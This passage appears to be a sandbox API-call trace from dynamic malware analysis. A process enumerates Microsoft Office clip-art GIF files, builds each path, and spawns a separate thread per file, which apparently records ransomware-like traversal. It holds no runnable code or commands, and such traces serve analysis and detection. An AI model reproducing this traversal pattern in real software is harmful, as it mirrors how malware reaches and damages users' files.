_Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.898] wcscat (in: _Dest=0x1b85cf90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.898] wcscat (in: _Dest=0x1b85cf90, _Source="AG00135_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" [0090.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85cf90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb98 [0090.899] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3bca500, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3bca500, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0090.899] wcscmp (_String1="AG00139_.GIF", _String2=".") returned 1 [0090.899] wcscmp (_String1="AG00139_.GIF", _String2="..") returned 1 [0090.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85d020 [0090.899] wcscpy (in: _Dest=0x1b85d020, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.899] wcscat (in: _Dest=0x1b85d020, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.899] wcscat (in: _Dest=0x1b85d020, _Source="AG00139_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" [0090.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb9c [0090.900] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc6c400, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedc6c400, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0090.900] wcscmp (_String1="AG00142_.GIF", _String2=".") returned 1 [0090.900] wcscmp (_String1="AG00142_.GIF", _String2="..") returned 1 [0090.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85d0b0 [0090.900] wcscpy (in: _Dest=0x1b85d0b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.900] wcscat (in: _Dest=0x1b85d0b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.900] wcscat (in: _Dest=0x1b85d0b0, _Source="AG00142_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" [0090.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d0b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba0 [0090.901] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9688900, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9688900, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0090.901] wcscmp (_String1="AG00154_.GIF", _String2=".") returned 1 [0090.901] wcscmp (_String1="AG00154_.GIF", _String2="..") returned 1 [0090.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85d140 [0090.901] wcscpy (in: _Dest=0x1b85d140, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.901] wcscat (in: _Dest=0x1b85d140, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.901] wcscat (in: _Dest=0x1b85d140, _Source="AG00154_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" [0090.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba4 [0090.902] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2417b00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2417b00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0090.902] wcscmp (_String1="AG00157_.GIF", _String2=".") returned 1 [0090.902] wcscmp (_String1="AG00157_.GIF", _String2="..") returned 1 [0090.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85d1d0 [0090.902] wcscpy (in: _Dest=0x1b85d1d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.902] wcscat (in: _Dest=0x1b85d1d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.902] wcscat (in: _Dest=0x1b85d1d0, _Source="AG00157_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" [0090.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba8 [0090.903] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad7cc700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad7cc700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0090.903] wcscmp (_String1="AG00158_.GIF", _String2=".") returned 1 [0090.903] wcscmp (_String1="AG00158_.GIF", _String2="..") returned 1 [0090.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85d260 [0090.903] wcscpy (in: _Dest=0x1b85d260, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.903] wcscat (in: _Dest=0x1b85d260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.903] wcscat (in: _Dest=0x1b85d260, _Source="AG00158_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" [0090.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbac [0090.904] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a69f700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a69f700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0090.904] wcscmp (_String1="AG00160_.GIF", _String2=".") returned 1 [0090.904] wcscmp (_String1="AG00160_.GIF", _String2="..") returned 1 [0090.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85d2f0 [0090.904] wcscpy (in: _Dest=0x1b85d2f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.904] wcscat (in: _Dest=0x1b85d2f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.904] wcscat (in: _Dest=0x1b85d2f0, _Source="AG00160_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" [0090.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d2f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb0 [0090.905] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a54300, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a54300, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0090.905] wcscmp (_String1="AG00161_.GIF", _String2=".") returned 1 [0090.905] wcscmp (_String1="AG00161_.GIF", _String2="..") returned 1 [0090.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85d380 [0090.905] wcscpy (in: _Dest=0x1b85d380, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.905] wcscat (in: _Dest=0x1b85d380, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.905] wcscat (in: _Dest=0x1b85d380, _Source="AG00161_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" [0090.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb4 [0090.906] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e47e00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65e47e00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0090.906] wcscmp (_String1="AG00163_.GIF", _String2=".") returned 1 [0090.906] wcscmp (_String1="AG00163_.GIF", _String2="..") returned 1 [0090.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4a600 [0090.906] wcscpy (in: _Dest=0x1cf4a600, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.906] wcscat (in: _Dest=0x1cf4a600, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.906] wcscat (in: _Dest=0x1cf4a600, _Source="AG00163_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" [0090.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4a600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb8 [0090.907] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d0800, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4d0800, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0090.907] wcscmp (_String1="AG00164_.GIF", _String2=".") returned 1 [0090.907] wcscmp (_String1="AG00164_.GIF", _String2="..") returned 1 [0090.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4a690 [0090.907] wcscpy (in: _Dest=0x1cf4a690, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.907] wcscat (in: _Dest=0x1cf4a690, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.907] wcscat (in: _Dest=0x1cf4a690, _Source="AG00164_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" [0090.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4a690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbbc [0090.908] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b98100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89b98100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0090.908] wcscmp (_String1="AG00165_.GIF", _String2=".") returned 1 [0090.908] wcscmp (_String1="AG00165_.GIF", _String2="..") returned 1 [0090.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4a720 [0090.908] wcscpy (in: _Dest=0x1cf4a720, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.908] wcscat (in: _Dest=0x1cf4a720, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.908] wcscat (in: _Dest=0x1cf4a720, _Source="AG00165_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" [0090.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4a720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc0 [0090.909] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81614600, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81614600, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0090.909] wcscmp (_String1="AG00167_.GIF", _String2=".") returned 1 [0090.909] wcscmp (_String1="AG00167_.GIF", _String2="..") returned 1 [0090.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4a7b0 [0090.909] wcscpy (in: _Dest=0x1cf4a7b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.909] wcscat (in: _Dest=0x1cf4a7b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.909] wcscat (in: _Dest=0x1cf4a7b0, _Source="AG00167_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" [0090.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4a7b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc4 [0090.910] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9c9200, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9c9200, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1 [0090.910] wcscmp (_String1="AG00169_.GIF", _String2=".") returned 1 [0090.910] wcscmp (_String1="AG00169_.GIF", _String2="..") returned 1 [0090.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4a840 [0090.910] wcscpy (in: _Dest=0x1cf4a840, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.910] wcscat (in: _Dest=0x1cf4a840, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.910] wcscat (in: _Dest=0x1cf4a840, _Source="AG00169_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" [0090.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4a840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc8 [0090.911] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a6b100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76a6b100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1 [0090.911] wcscmp (_String1="AG00170_.GIF", _String2=".") returned 1 [0090.911] wcscmp (_String1="AG00170_.GIF", _String2="..") returned 1 [0090.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4a8d0 [0090.911] wcscpy (in: _Dest=0x1cf4a8d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.911] wcscat (in: _Dest=0x1cf4a8d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.911] wcscat (in: _Dest=0x1cf4a8d0, _Source="AG00170_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" [0090.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4a8d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbcc [0090.912] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e1fd00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71e1fd00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1 [0090.912] wcscmp (_String1="AG00171_.GIF", _String2=".") returned 1 [0090.912] wcscmp (_String1="AG00171_.GIF", _String2="..") returned 1 [0090.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4a960 [0090.912] wcscpy (in: _Dest=0x1cf4a960, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.912] wcscat (in: _Dest=0x1cf4a960, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.912] wcscat (in: _Dest=0x1cf4a960, _Source="AG00171_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" [0090.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4a960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd0 [0090.913] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04e500, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04e500, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1 [0090.913] wcscmp (_String1="AG00172_.GIF", _String2=".") returned 1 [0090.913] wcscmp (_String1="AG00172_.GIF", _String2="..") returned 1 [0090.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4a9f0 [0090.913] wcscpy (in: _Dest=0x1cf4a9f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.913] wcscat (in: _Dest=0x1cf4a9f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.913] wcscat (in: _Dest=0x1cf4a9f0, _Source="AG00172_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" [0090.913] CreateThread 